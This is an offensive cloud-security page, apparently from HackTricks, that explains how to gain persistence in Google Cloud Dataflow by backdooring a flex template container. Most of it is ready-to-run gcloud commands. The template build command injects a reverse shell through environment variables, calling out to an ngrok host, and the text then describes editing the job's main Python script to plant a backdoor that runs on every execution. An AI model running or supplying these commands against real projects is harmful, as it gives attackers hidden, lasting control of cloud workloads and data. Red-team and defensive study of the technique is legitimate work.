# GCP - Dataflow Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

### Invisible persistence in built container

Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:

<details>

<summary>Create Dataflow flex template with backdoor</summary>

```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
 --repository-format=docker \
 --location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
 --image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
 --sdk-language "PYTHON" \
 --flex-template-base-image "PYTHON3" \
 --metadata-file "metadata.json" \
 --py-path "." \
 --env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
 --env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
 --env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
 --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
 --region=us-central1
```

</details>

**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.

Then, next time the job is executed, the compromised container built will be run:

<details>

<summary>Run Dataflow template</summary>

```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
 --template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
 --parameters=output="gs://$REPOSITORY/out" \
 --region=us-central1
```

</details>

{{#include ../../../banners/hacktricks-training.md}}



